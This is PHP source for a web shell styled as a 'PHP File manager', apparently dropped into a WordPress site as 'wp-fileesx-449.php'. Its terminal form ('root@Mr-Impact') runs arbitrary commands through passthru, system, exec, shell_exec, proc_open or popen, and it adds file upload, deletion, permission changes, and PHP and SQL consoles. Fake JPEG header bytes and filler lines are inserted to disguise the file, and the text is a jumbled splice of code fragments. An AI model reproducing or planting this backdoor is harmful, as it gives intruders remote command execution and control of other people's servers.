            $output = "bash: cd: " . htmlspecialchars($matches[1]) . ": No such file or directory";
        }

    } else {

        if ($canExecute) {

            // Change working directory
            chdir($cwd);

            // Allow safe characters; do NOT break arguments
            $cmd = $cmdInput . " 2>&1";

            // PRIORITY: passthru first
            if (function_exists('passthru')) {
                ob_start();
                passthru($cmd);
                $output = ob_get_clean();

            } elseif (function_exists('system')) {
                ob_start();
                system($cmd);
                $output = ob_get_clean();

            } elseif (function_exists('exec')) {
                exec($cmd, $out);
                $output = implode("\n", $out);

            } elseif (function_exists('shell_exec')) {
                $output = shell_exec($cmd);

            } elseif (function_exists('proc_open')) {
                $pipes = [];
                $process = proc_open($cmd, [
                    0 => ["pipe", "r"],
                    1 => ["pipe", "w"],
                    2 => ["pipe", "w"]
                ], $pipes, $cwd);

                if (is_resource($process)) {
                    fclose($pipes[0]);
                    $output = stream_get_contents($pipes[1]);
                    fclose($pipes[1]);
                    $output .= stream_get_contents($pipes[2]);
                    fclose($pipes[2]);
                    proc_close($process);
                } else {
                    $output = "Failed to execute command via proc_open.";
                }

            } elseif (function_exists('popen')) {
                $handle = popen($cmd, 'r');
                if ($handle) {
                    $output = stream_get_contents($handle);
                    pclose($handle);
                } else {
                    $output = "Failed to execute command via popen.";
                }

            } else {
                $output = "Error: No command execution functions available.";
            }

        } else {
            $output = "Command execution functions are disabled on this server.";
        }
    }
}

if (!isset($url_inc)) $url_inc = htmlspecialchars($_SERVER['PHP_SELF']);
if (!isset($path)) $path = $cwd;
?>

<strong>root@Mr-Impact:<?php echo htmlspecialchars($cwd); ?>$</strong><br>
<pre><?php echo htmlspecialchars($output); ?></pre>

<form method="post" action="<?php echo $url_inc; ?>">
    <input type="text" name="terminal-text" size="30" placeholder="Cmd" />
    <input type="hidden" name="path" value="<?php echo htmlspecialchars($path); ?>" />
    <input type="submit" name="terminal" value="Execute" />
</form>


</td>
			<td>
			<?php if(!empty($fm_config['make_directory'])) { ?>
				<form method="post" action="<?=$url_inc?>">
				<input type="hidden" name="path" value="<?=$path?>" />
				<input type="text" name="dirname" size="15">
				<input type="submit" name="mkdir" value="<?=__('Make directory')?>">
				</form>
			<?php } ?>
			</td>
			<td>
			<?php if(!empty($fm_config['new_file'])) { ?>
				<form method="post" action="<?=$url_inc?>">
				<input type="hidden" name="path"     value="<?=$path?>" />
				<input type="text"   name="filename" size="15">
				<input type="submit" name="mkfile"   value="<?=__('New file')?>">
				</form>
			<?php } ?>
			</td>
			<td>
				<form  method="post" action="<?=$url_inc?>" style="display:inline">
				<input type="hidden" name="path" value="<?=$path?>" />
				<input type="text" placeholder="<?=__('Recursive search')?>" name="search_recursive" value="<?=!empty($_POST['search_recursive'])?$_POST['search_recursive']:''?>" size="15">
				<input type="text" name="mask" placeholder="<?=__('Mask')?>" value="<?=!empty($_POST['mask'])?$_POST['mask']:'*.*'?>" size="5">
				<input type="submit" name="search" value="<?=__('Search')?>">
				</form>
			</td>
			<td>
			<?=fm_run_input('php')?>
			</td>
			<td>
			<?=fm_run_input('sql')?>
			</td>
			</tr>
		</table>
    </td>
    <td class="row3">
		<table>
		<tr>
		     <td>

		     <?php if (!empty($fm_config['upload_file'])) { ?>
                      
		     	<form name="form1" method="post" action="<?=$url_inc?>" enctype="multipart/form-data">
                    
		     	<input type="hidden" name="path" value="<?=$path?>" />

		     	<input type="file" name="upload" id="upload_hidden" style="position: absolute; display: block; overflow: hidden; width: 0; height: 0; border: 0; padding: 0;" onchange="document.getElementById('upload_visible').value = this.value;" />

		     	<input type="text" readonly="1" id="upload_visible" placeholder="<?=__('Select the file')?>" style="cursor: pointer;" onclick="document.getElementById('upload_hidden').click();" />
                       
		     	<input type="submit" name="test" value="<?=__('Upload')?>" />

		     	</form>

		     <?php } ?>
                    
		     </td>
		<td>
		<?php if ($auth['authorize']) { ?>
			<form action="" method="post">&nbsp;&nbsp;&nbsp;
			<input name="quit" type="hidden" value="1">
			<?=__('Hello')?>, <?=$auth['login']?>
			<input type="submit" value="<?=__('Quit')?>">
			</form>
		<?php } ?>
		</td>
		<td>
		<?=fm_lang_form($language)?>
		</td>
		<tr>
		</table>
    </td>
</tr>
</table>
<table class="all" border='0' cellspacing='1' cellpadding='1' id="fm_table" width="100%">
<thead>
<tr> 
    <th style="white-space:nowrap"> <?=__('Filename')?> </th>
    <th style="white-space:nowrap"> <?=__('Size')?> </th>
    <th style="white-space:nowrap"> <?=__('Date')?> </th>
    <th style="white-space:nowrap"> <?=__('Rights')?> </th>
    <th colspan="4" style="white-space:nowrap"> <?=__('Manage')?> </th>
</tr>
</thead>
<tbody>
<?php
$elements = fm_scan_dir($path, '', 'all', true);
$dirs = array();
$files = array();
foreach ($elements as $file){
    if(@is_dir($path . $file)){
        $dirs[] = $file;
    } else {
        $files[] = $file;
    }
}
natsort($dirs); natsort($files);
$elements = array_merge($dirs, $files);

foreach ($elements as $file){
    $filename = $path . $file;
    $filedata = @stat($filename);
    if(@is_dir($filename)){
		$filedata[7] = '';
		if (!empty($fm_config['show_dir_size'])&&!fm_root($file)) $filedata[7] = fm_dir_size($filename);
        $link = '<a href="'.$url_inc.'&path='.$path.$file.'" title="'.__('Show').' '.$file.'"><span class="folder">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';
        $loadlink= (fm_root($file)||$phar_maybe) ? '' : fm_link('zip',$filename,__('Compress').'&nbsp;zip',__('Archiving').' '. $file);
		$arlink  = (fm_root($file)||$phar_maybe) ? '' : fm_link('gz',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '.$file);
        $style = 'row2';
		 if (!fm_root($file)) $alert = 'onClick="if(confirm(\'' . __('Are you sure you want to delete this directory (recursively)?').'\n /'. $file. '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"'; else $alert = '';
    } else {
		$link = 
			$fm_config['show_img']&&@getimagesize($filename) 
			? '<a target="_blank" onclick="var lefto = screen.availWidth/2-320;window.open(\''
			. fm_img_link($filename)
			.'\',\'popup\',\'width=640,height=480,left=\' + lefto + \',scrollbars=yes,toolbar=no,location=no,directories=no,status=no\');return false;" href="'.fm_img_link($filename).'"><span class="img">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>'
			: '<a href="' . $url_inc . '&edit=' . $file . '&path=' . $path. '" title="' . __('Edit') . '"><span class="file">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';
		$e_arr = explode(".", $file);
		$ext = end($e_arr);
        $loadlink =  fm_link('download',$filename,__('Download'),__('Download').' '. $file);
		$arlink = in_array($ext,array('zip','gz','tar')) 
		? ''
		: ((fm_root($file)||$phar_maybe) ? '' : fm_link('gzfile',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '. $file));
        $style = 'row1';
		$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"';
    }
    $deletelink = fm_root($file) ? '' : '<a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
    $renamelink = fm_root($file) ? '' : '<a href="' . $url_inc . '&rename=' . $file . '&path=' . $path . '" title="' . __('Rename') .' '. $file . '">' . __('Rename') . '</a>';
    $rightstext = ($file=='.' || $file=='..') ? '' : '<a href="' . $url_inc . '&rights=' . $file . '&path=' . $path . '" title="' . __('Rights') .' '. $file . '">' . @fm_rights_string($filename) . '</a>';
?>
<tr class="<?=$style?>"> 
    <td><?=$link?></td>
    <td><?=$filedata[7]?></td>
    <td style="white-space:nowrap"><?=gmdate("Y-m-d H:i:s",$filedata[9])?></td>
    <td><?=$rightstext?></td>
    <td><?=$deletelink?></td>
    <td><?=$renamelink?></td>
    <td><?=$loadlink?></td>
    <td><?=$arlink?></td>
</tr>
<?php
    }
}
?>
</tbody>
</table>
<div class="row3"><?php
	$mtime = explode(' ', microtime()); 
	$totaltime = $mtime[0] + $mtime[1] - $starttime; 
	echo fm_home().' | ver. '.$fm_version.' | <a href="https://">Github</a>  | <a href="'.fm_site_url().'">.</a>';
	if (!empty($fm_config['show_php_ver'])) echo ' | PHP '.phpversion();
	if (!empty($fm_config['show_php_ini'])) echo ' | '.php_ini_loaded_file();
	if (!empty($fm_config['show_gt'])) echo ' | '.__('Generation time').': '.round($totaltime,2);
	if (!empty($fm_config['enable_proxy'])) echo ' | <a href="?proxy=true">proxy</a>';
	if (!empty($fm_config['show_phpinfo'])) echo ' | <a href="?phpinfo=true">phpinfo</a>';
	if (!empty($fm_config['show_xls'])&&!empty($link)) echo ' | <a href="javascript: void(0)" onclick="var obj = new table2Excel(); obj.CreateExcelSheet(\'fm_table\',\'export\');" title="'.__('Download').' xls">xls</a>';
	if (!empty($fm_config['fm_settings'])) echo ' | <a href="?fm_settings=true">'.__('Settings').'</a>';
	?>


<?php
//Ported from ReloadCMS project http://reloadcms.com
class archiveTar {
	var $archive_name = '';
	var $tmp_file = 0;
	var $file_pos = 0;
	var $isGzipped = true;
	var $errors = array();
	var $files = array();
	
	function __construct(){
		if (!isset($this->errors)) $this->errors = array();
	}
	
	function createArchive($file_list){
		$result = false;
		if (file_exists($this->archive_name) && is_file($this->archive_name)) 	$newArchive = false;
		else $newArchive = true;
		if ($newArchive){
			if (!$this->openWrite()) return false;
		} else {
			if (filesize($this->archive_name) == 0)	return $this->openWrite();
			if ($this->isGzipped) {
				$this->closeTmpFile();
				if (!rename($this->archive_name, $this->archive_name.'.tmp')){
					$this->errors[] = __('Cannot rename').' '.$this->archive_name.__(' to ').$this->archive_name.'.tmp';
					return false;
				}
				$tmpArchive = gzopen($this->archive_name.'.tmp', 'rb');
				if (!$tmpArchive){
					$this->errors[] = $this->archive_name.'.tmp '.__('is not readable');
					rename($this->archive_name.'.tmp', $this->archive_name);
					return false;
				}
				if (!$this->openWrite()){
					rename($this->archive_name.'.tmp', $this->archive_name);
					return false;
				}
				$buffer = gzread($tmpArchive, 512);
				if (!gzeof($tmpArchive)){
					do {
						$binaryData = pack('a512', $buffer);
						$this->writeBlock($binaryData);
						$buffer = gzread($tmpArchive, 512);
					}
					while (!gzeof($tmpArchive));
				}
				gzclose($tmpArchive);
				unlink($this->archive_name.'.tmp');
			} else {
				$this->tmp_file = fopen($this->archive_name, 'r+b');
				if (!$this->tmp_file)	return false;
			}
		}
		if (isset($file_list) && is_array($file_list)) {
		if (count($file_list)>0)
			$result = $this->packFileArray($file_list);
		} else $this->errors[] = __('No file').__(' to ').__('Archive');
		if (($result)&&(is_resource($this->tmp_file))){
			$binaryData = pack('a512', '');
			$this->writeBlock($binaryData);
		}
		$this->closeTmpFile();
		if ($newArchive && !$result){
		$this->closeTmpFile();
		unlink($this->archive_name);
		}
		return $result;
	}

	function restoreArchive($path){
		$fileName = $this->archive_name;
		if (!$this->isGzipped){
			if (file_exists($fileName)){
				if ($fp = fopen($fileName, 'rb')){
					$data = fread($fp, 2);
					fclose($fp);
					if ($data == '\37\213'){
						$this->isGzipped = true;
					}
				}
			}
			elseif ((substr($fileName, -2) == 'gz') OR (substr($fileName, -3) == 'tgz')) $this->isGzipped = true;
		} 
		$result = true;
		if ($this->isGzipped) $this->tmp_file = gzopen($fileName, 'rb');
		else $this->tmp_file = fopen($fileName, 'rb');
		if (!$this->tmp_file){
			$this->errors[] = $fileName.' '.__('is not readable');
			return false;
		}
		$result = $this->unpackFileArray($path);
			$this->closeTmpFile();
		return $result;
	}

	function showErrors	($message = '') {
		$Errors = $this->errors;
		if(count($Errors)>0) {
		if (!empty($message)) $message = ' ('.$message.')';
			$message = __('Error occurred').$message.': <br/>';
			foreach ($Errors as $value)
				$message .= $value.'<br/>';
			return $message;	
		} else return '';
		
	}
	
	function packFileArray($file_array){
		$result = true;
		if (!$this->tmp_file){
			$this->errors[] = __('Invalid file descriptor');
			return false;
		}
		if (!is_array($file_array) || count($file_array)<=0)
          return true;
		for ($i = 0; $i<count($file_array); $i++){
			$filename = $file_array[$i];
			if ($filename == $this->archive_name)
				continue;
			if (strlen($filename)<=0)
				continue;
			if (!file_exists($filename)){
				$this->errors[] = __('No file').' '.$filename;
				continue;
			}
			if (!$this->tmp_file){
			$this->errors[] = __('Invalid file descriptor');
			return false;
			}
		if (strlen($filename)<=0){
			$this->errors[] = __('Filename').' '.__('is incorrect');;
			return false;
		}
		$filename = str_replace('\\', '/', $filename);
		$keep_filename = $this->makeGoodPath($filename);
		if (is_file($filename)){
			if (($file = fopen($filename, 'rb')) == 0){
				$this->errors[] = __('Mode ').__('is incorrect');
			}
				if(($this->file_pos == 0)){
					if(!$this->writeHeader($filename, $keep_filename))
						return false;
				}
				while (($buffer = fread($file, 512)) != ''){
					$binaryData = pack('a512', $buffer);
					$this->writeBlock($binaryData);
				}
			fclose($file);
		}	else $this->writeHeader($filename, $keep_filename);
			if (@is_dir($filename)){
				if (!($handle = opendir($filename))){
					$this->errors[] = __('Error').': '.__('Directory ').$filename.__('is not readable');
					continue;
				}
				while (false !== ($dir = readdir($handle))){
					if ($dir!='.' && $dir!='..'){
						$file_array_tmp = array();
						if ($filename != '.')
							$file_array_tmp[] = $filename.'/'.$dir;
						else
							$file_array_tmp[] = $dir;

						$result = $this->packFileArray($file_array_tmp);
					}
				}
				unset($file_array_tmp);
				unset($dir);
				unset($handle);
			}
		}
		return $result;
	}

	function unpackFileArray($path){ 
		$path = str_replace('\\', '/', $path);
		if ($path == ''	|| (substr($path, 0, 1) != '/' && substr($path, 0, 3) != '../' && !strpos($path, ':')))	$path = './'.$path;
		clearstatcache();
		while (strlen($binaryData = $this->readBlock()) != 0){
			if (!$this->readHeader($binaryData, $header)) return false;
			if ($header['filename'] == '') continue;
			if ($header['typeflag'] == 'L'){			//reading long header
				$filename = '';
				$decr = floor($header['size']/512);
				for ($i = 0; $i < $decr; $i++){
					$content = $this->readBlock();
					$filename .= $content;
				}
				if (($laspiece = $header['size'] % 512) != 0){
					$content = $this->readBlock();
					$filename .= substr($content, 0, $laspiece);
				}
				$binaryData = $this->readBlock();
				if (!$this->readHeader($binaryData, $header)) return false;
				else $header['filename'] = $filename;
				return true;
			}
			if (($path != './') && ($path != '/')){
				while (substr($path, -1) == '/') $path = substr($path, 0, strlen($path)-1);
				if (substr($header['filename'], 0, 1) == '/') $header['filename'] = $path.$header['filename'];
				else $header['filename'] = $path.'/'.$header['filename'];
			}
			
			if (file_exists($header['filename'])){
				if ((@is_dir($header['filename'])) && ($header['typeflag'] == '')){
					$this->errors[] =__('File ').$header['filename'].__(' already exists').__(' as folder');
					return false;
				}
				if ((is_file($header['filename'])) && ($header['typeflag'] == '5')){
					$this->errors[] =__('Cannot create directory').'. '.__('File ').$header['filename'].__(' already exists');
					return false;
				}
				if (!is_writeable($header['filename'])){
					$this->errors[] = __('Cannot write to file').'. '.__('File ').$header['filename'].__(' already exists');
					return false;
				}
			} elseif (($this->dirCheck(($header['typeflag'] == '5' ? $header['filename'] : dirname($header['filename'])))) != 1){
				$this->errors[] = __('Cannot create directory').' '.__(' for ').$header['filename'];
				return false;
			}

			if ($header['typeflag'] == '5'){
				if (!file_exists($header['filename']))		{
					if (!mkdir($header['filename'], 0777))	{
						
						$this->errors[] = __('Cannot create directory').' '.$header['filename'];
						return false;
					} 
				}
			} else {
				if (($destination = fopen($header['filename'], 'wb')) == 0) {
					$this->errors[] = __('Cannot write to file').' '.$header['filename'];
					return false;
				} else {
					$decr = floor($header['size']/512);
					for ($i = 0; $i < $decr; $i++) {
						$content = $this->readBlock();
						fwrite($destination, $content, 512);
					}
					if (($header['size'] % 512) != 0) {
						$content = $this->readBlock();
						fwrite($destination, $content, ($header['size'] % 512));
					}
					fclose($destination);
					touch($header['filename'], $header['time']);
				}
				clearstatcache();
				if (filesize($header['filename']) != $header['size']) {
					$this->errors[] = __('Size of file').' '.$header['filename'].' '.__('is incorrect');
					return false;
				}
			}
			if (($file_dir = dirname($header['filename'])) == $header['filename']) $file_dir = '';
			if ((substr($header['filename'], 0, 1) == '/') && ($file_dir == '')) $file_dir = '/';
			$this->dirs[] = $file_dir;
			$this->files[] = $header['filename'];
	
		}
		return true;
	}

	function dirCheck($dir){
		$parent_dir = dirname($dir);

		if ((@is_dir($dir)) or ($dir == ''))
			return true;

		if (($parent_dir != $dir) and ($parent_dir != '') and (!$this->dirCheck($parent_dir)))
			return false;

		if (!mkdir($dir, 0777)){
			$this->errors[] = __('Cannot create directory').' '.$dir;
			return false;
		}
		return true;
	}

	function readHeader($binaryData, &$header){
		if (strlen($binaryData)==0){
			$header['filename'] = '';
			return true;
		}

		if (strlen($binaryData) != 512){
			$header['filename'] = '';
			$this->__('Invalid block size').': '.strlen($binaryData);
			return false;
		}

		$checksum = 0;
		for ($i = 0; $i < 148; $i++) $checksum+=ord(substr($binaryData, $i, 1));
		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156; $i < 512; $i++) $checksum+=ord(substr($binaryData, $i, 1));

		$unpack_data = unpack('a100filename/a8mode/a8user_id/a8group_id/a12size/a12time/a8checksum/a1typeflag/a100link/a6magic/a2version/a32uname/a32gname/a8devmajor/a8devminor', $binaryData);

		$header['checksum'] = OctDec(trim($unpack_data['checksum']));
		if ($header['checksum'] != $checksum){
			$header['filename'] = '';
			if (($checksum == 256) && ($header['checksum'] == 0)) 	return true;
			$this->errors[] = __('Error checksum for file ').$unpack_data['filename'];
			return false;
		}

		if (($header['typeflag'] = $unpack_data['typeflag']) == '5')	$header['size'] = 0;
		$header['filename'] = trim($unpack_data['filename']);
		$header['mode'] = OctDec(trim($unpack_data['mode']));
		$header['user_id'] = OctDec(trim($unpack_data['user_id']));
		$header['group_id'] = OctDec(trim($unpack_data['group_id']));
		$header['size'] = OctDec(trim($unpack_data['size']));
		$header['time'] = OctDec(trim($unpack_data['time']));
		return true;
	}

	function writeHeader($filename, $keep_filename){
		$packF = 'a100a8a8a8a12A12';
		$packL = 'a1a100a6a2a32a32a8a8a155a12';
		if (strlen($keep_filename)<=0) $keep_filename = $filename;
		$filename_ready = $this->makeGoodPath($keep_filename);

		if (strlen($filename_ready) > 99){							//write long header
		$dataFirst = pack($packF, '././LongLink', 0, 0, 0, sprintf('%11s ', DecOct(strlen($filename_ready))), 0);
		$dataLast = pack($packL, 'L', '', '', '', '', '', '', '', '', '');

        //  Calculate the checksum
		$checksum = 0;
        //  First part of the header
		for ($i = 0; $i < 148; $i++)
			$checksum += ord(substr($dataFirst, $i, 1));
        //  Ignore the checksum value and replace it by ' ' (space)
		for ($i = 148; $i < 156; $i++)
			$checksum += ord(' ');
        //  Last part of the header
		for ($i = 156, $j=0; $i < 512; $i++, $j++)
			$checksum += ord(substr($dataLast, $j, 1));
        //  Write the first 148 bytes of the header in the archive
		$this->writeBlock($dataFirst, 148);
        //  Write the calculated checksum
		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
        //  Write the last 356 bytes of the header in the archive
		$this->writeBlock($dataLast, 356);

		$tmp_filename = $this->makeGoodPath($filename_ready);

		$i = 0;
			while (($buffer = substr($tmp_filename, (($i++)*512), 512)) != ''){
				$binaryData = pack('a512', $buffer);
				$this->writeBlock($binaryData);
			}
		return true;
		}
		$file_info = stat($filename);
		if (@is_dir($filename)){
			$typeflag = '5';
			$size = sprintf('%11s ', DecOct(0));
		} else {
			$typeflag = '';
			clearstatcache();
			$size = sprintf('%11s ', DecOct(filesize($filename)));
		}
		$dataFirst = pack($packF, $filename_ready, sprintf('%6s ', DecOct(fileperms($filename))), sprintf('%6s ', DecOct($file_info[4])), sprintf('%6s ', DecOct($file_info[5])), $size, sprintf('%11s', DecOct(filemtime($filename))));
		$dataLast = pack($packL, $typeflag, '', '', '', '', '', '', '', '', '');
		$checksum = 0;
		for ($i = 0; $i < 148; $i++) $checksum += ord(substr($dataFirst, $i, 1));
		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156, $j = 0; $i < 512; $i++, $j++) $checksum += ord(substr($dataLast, $j, 1));
		$this->writeBlock($dataFirst, 148);
		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
		$this->writeBlock($dataLast, 356);
		return true;
	}

	function openWrite(){
		if ($this->isGzipped)
			$this->tmp_file = gzopen($this->archive_name, 'wb9f');
		else
			$this->tmp_file = fopen($this->archive_name, 'wb');

		if (!($this->tmp_file)){
			$this->errors[] = __('Cannot write to file').' '.$this->archive_name;
			return false;
		}
		return true;
	}

	function readBlock(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				$block = gzread($this->tmp_file, 512);
			else
				$block = fread($this->tmp_file, 512);
		} else	$block = '';

		return $block;
	}

	function writeBlock($data, $length = 0){
		if (is_resource($this->tmp_file)){
		
			if ($length === 0){
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data);
				else
					fputs($this->tmp_file, $data);
			} else {
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data, $length);
				else
					fputs($this->tmp_file, $data, $length);
			}
		}
	}

	function closeTmpFile(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				gzclose($this->tmp_file);
			else
				fclose($this->tmp_file);

			$this->tmp_file = 0;
		}
	}

	function makeGoodPath($path){
		if (strlen($path)>0){
			$path = str_replace('\\', '/', $path);
			$partPath = explode('/', $path);
			$els = count($partPath)-1;
			for ($i = $els; $i>=0; $i--){
				if ($partPath[$i] == '.'){
                    //  Ignore this directory
                } elseif ($partPath[$i] == '..'){
                    $i--;
                }
				elseif (($partPath[$i] == '') and ($i!=$els) and ($i!=0)){
                }	else
					$result = $partPath[$i].($i!=$els ? '/'.$result : '');
			}
		} else $result = '';
		
		return $result;
	}
}
?>PK       ! -E E   wp-fileesx-449.phpnu [        ﻿????????????????????????????

??????????????/?????????????????

............/...............

.........................../...

?????????????????????????????

>>>>>>>>>>>>>/>>>>>>>>>>>>>>>>>



ÿØÿà JFIF      ÿÛ „ 	 ( %!1!%)+//.383,7(-.+

                                                                                                   

-%%-////---/-.+/--+------/------/--0+--/-/-----.-----ÿÀ  ¥2" ÿÄ               ÿÄ J  	     ! 1AQ"aq2‘#BR‚¡ÁÑ3br’¢±Âð$CSƒ²á4c“%DsÓñÿÄ              ÿÄ *        !1AQa‘"2q3±ð#b¡ÿÚ   ? ¼QxJQaÍuò¸Zö Úü8,ÐÚú
"SSn<rçù–´âE—^ªBÖ9À\†¸ÔÁT­ÃÛ5
ëd´³Í#Ý;Þ38œî ¶H£M:wÎ3…³…âpÔF&‚FK¸9„â4àGEõªfÿ ‘ñ(ßw­pŽF|È¥ù®häðÍÑ¶¹‘[ÒinÙW¶ùñY˜Q{›K"išÒ[Ú8žë\F¹@-?v"ÔU”,ìöžkÿ {I‡£šÍ?e
ríV
?>
.........................................
.............................................................................                                                  





<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<

>>>>>>>>>>>>>/>>>>>>>>>>>>>>>>>>

<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<

<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<

>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>


















﻿????????????????????????????

??????????????/?????????????????

............/...............

.........................../...

?????????????????????????????

>>>>>>>>>>>>>/>>>>>>>>>>>>>>>>>



ÿØÿà JFIF      ÿÛ „ 	 ( %!1!%)+//.383,7(-.+

                                                                                                   

-%%-////---/-.+/--+------/------/--0+--/-/-----.-----ÿÀ  ¥2" ÿÄ               ÿÄ J  	     ! 1AQ"aq2‘#BR‚¡ÁÑ3br’¢±Âð$CSƒ²á4c“%DsÓñÿÄ              ÿÄ *        !1AQa‘"2q3±ð#b¡ÿÚ   ? ¼QxJQaÍuò¸Zö Úü8,ÐÚú
"SSn<rçù–´âE—^ªBÖ9À\†¸ÔÁT­ÃÛ5
ëd´³Í#Ý;Þ38œî ¶H£M:wÎ3…³…âpÔF&‚FK¸9„â4àGEõªfÿ ‘ñ(ßw­pŽF|È¥ù®häðÍÑ¶¹‘[ÒinÙW¶ùñY˜Q{›K"išÒ[Ú8žë\F¹@-?v"ÔU”,ìöžkÿ {I‡£šÍ?e
ríV
?>
.........................................
.............................................................................                                                  





<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<

>>>>>>>>>>>>>/>>>>>>>>>>>>>>>>>>

<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<

<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<

>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>


















<?php







/* PHP File manager ver 1.5 */

















// Preparations
























$starttime = explode(' ', microtime());

$starttime = $starttime[1] + $starttime[0];

$langs = array('en','ru','de','fr','uk');

$path = empty($_REQUEST['path']) ? $path = realpath('.') : realpath($_REQUEST['path']);
$path = str_replace('\\', '/', $path) . '/';
$main_path=str_replace('\\', '/',realpath('./'));
$phar_maybe = (version_compare(phpversion(),"5.3.0","<"))?true:false;
$msg_ntimes = ''; // service string
$default_language = 'ru';
$detect_lang = true;
$fm_version = 1.4;














































// Little default config
$fm_default_config = array (
	'make_directory' => true, 
	'new_file' => true, 
	'upload_file' => true, 
	'show_dir_size' => false, //if true, show directory size → maybe slow 
	'show_img' => true, 
	'show_php_ver' => true, 
	'show_php_ini' => false, // show path to current php.ini
	'show_gt' => true, // show generation time
	'enable_php_console' => true,
	'enable_sql_console' => true,
	'sql_server' => 'localhost',
	'sql_username' => 'root',
	'sql_password' => '',
	'sql_db' => 'test_base',
	'enable_proxy' => true,
	'show_phpinfo' => true,
	'show_xls' => true,
	'fm_settings' => true,
	'restore_time' => true,
	'fm_restore_time' => false,
);

if (empty($_COOKIE['fm_config'])) $fm_config = $fm_default_config;
else $fm_config = unserialize($_COOKIE['fm_config']);

// Change language
if (isset($_POST['fm_lang'])) { 
	setcookie('fm_lang', $_POST['fm_lang'], time() + (86400 * $auth['days_authorization']));
	$_COOKIE['fm_lang'] = $_POST['fm_lang'];
}
$language = $default_language;

// Detect browser language
if($detect_lang && !empty($_SERVER['HTTP_ACCEPT_LANGUAGE']) && empty($_COOKIE['fm_lang'])){
	$lang_priority = explode(',', $_SERVER['HTTP_ACCEPT_LANGUAGE']);
	if (!empty($lang_priority)){
		foreach ($lang_priority as $lang_arr){
			$lng = explode(';', $lang_arr);
			$lng = $lng[0];
			if(in_array($lng,$langs)){
				$language = $lng;
				break;
			}
		}
	}
} 

// Cookie language is primary for ever
$language = (empty($_COOKIE['fm_lang'])) ? $language : $_COOKIE['fm_lang'];


//translation
function __($text){
	global $lang;
	if (isset($lang[$text])) return $lang[$text];
	else return $text;
};

//delete files and dirs recursively
function fm_del_files($file, $recursive = false) {
	if($recursive && @is_dir($file)) {
		$els = fm_scan_dir($file, '', '', true);
		foreach ($els as $el) {
			if($el != '.' && $el != '..'){
				fm_del_files($file . '/' . $el, true);
			}
		}
	}
	if(@is_dir($file)) {
		return rmdir($file);
	} else {
		return @unlink($file);
	}
}

//file perms
function fm_rights_string($file, $if = false){
	$perms = fileperms($file);
	$info = '';
	if(!$if){
		if (($perms & 0xC000) == 0xC000) {
			//Socket
			$info = 's';
		} elseif (($perms & 0xA000) == 0xA000) {
			//Symbolic Link
			$info = 'l';
		} elseif (($perms & 0x8000) == 0x8000) {
			//Regular
			$info = '-';
		} elseif (($perms & 0x6000) == 0x6000) {
			//Block special
			$info = 'b';
		} elseif (($perms & 0x4000) == 0x4000) {
			//Directory
			$info = 'd';
		} elseif (($perms & 0x2000) == 0x2000) {
			//Character special
			$info = 'c';
		} elseif (($perms & 0x1000) == 0x1000) {
			//FIFO pipe
			$info = 'p';
		} else {
			//Unknown
			$info = 'u';
		}
	}
  
	//Owner
	$info .= (($perms & 0x0100) ? 'r' : '-');
	$info .= (($perms & 0x0080) ? 'w' : '-');
	$info .= (($perms & 0x0040) ?
	(($perms & 0x0800) ? 's' : 'x' ) :
	(($perms & 0x0800) ? 'S' : '-'));
 
	//Group
	$info .= (($perms & 0x0020) ? 'r' : '-');
	$info .= (($perms & 0x0010) ? 'w' : '-');
	$info .= (($perms & 0x0008) ?
	(($perms & 0x0400) ? 's' : 'x' ) :
	(($perms & 0x0400) ? 'S' : '-'));
 
	//World
	$info .= (($perms & 0x0004) ? 'r' : '-');
	$info .= (($perms & 0x0002) ? 'w' : '-');
	$info .= (($perms & 0x0001) ?
	(($perms & 0x0200) ? 't' : 'x' ) :
	(($perms & 0x0200) ? 'T' : '-'));

	return $info;
}

function fm_convert_rights($mode) {
	$mode = str_pad($mode,9,'-');
	$trans = array('-'=>'0','r'=>'4','w'=>'2','x'=>'1');
	$mode = strtr($mode,$trans);
	$newmode = '0';
	$owner = (int) $mode[0] + (int) $mode[1] + (int) $mode[2]; 
	$group = (int) $mode[3] + (int) $mode[4] + (int) $mode[5]; 
	$world = (int) $mode[6] + (int) $mode[7] + (int) $mode[8]; 
	$newmode .= $owner . $group . $world;
	return intval($newmode, 8);
}

function fm_chmod($file, $val, $rec = false) {
	$res = @chmod(realpath($file), $val);
	if(@is_dir($file) && $rec){
		$els = fm_scan_dir($file);
		foreach ($els as $el) {
			$res = $res && fm_chmod($file . '/' . $el, $val, true);
		}
	}
	return $res;
}

//load files
function fm_download($file_name) {
    if (!empty($file_name)) {
		if (file_exists($file_name)) {
			header("Content-Disposition: attachment; filename=" . basename($file_name));   
			header("Content-Type: application/force-download");
			header("Content-Type: application/octet-stream");
			header("Content-Type: application/download");
			header("Content-Description: File Transfer");            
			header("Content-Length: " . filesize($file_name));		
			flush(); // this doesn't really matter.
			$fp = fopen($file_name, "r");
			while (!feof($fp)) {
				echo fread($fp, 65536);
				flush(); // this is essential for large downloads
			} 
			fclose($fp);
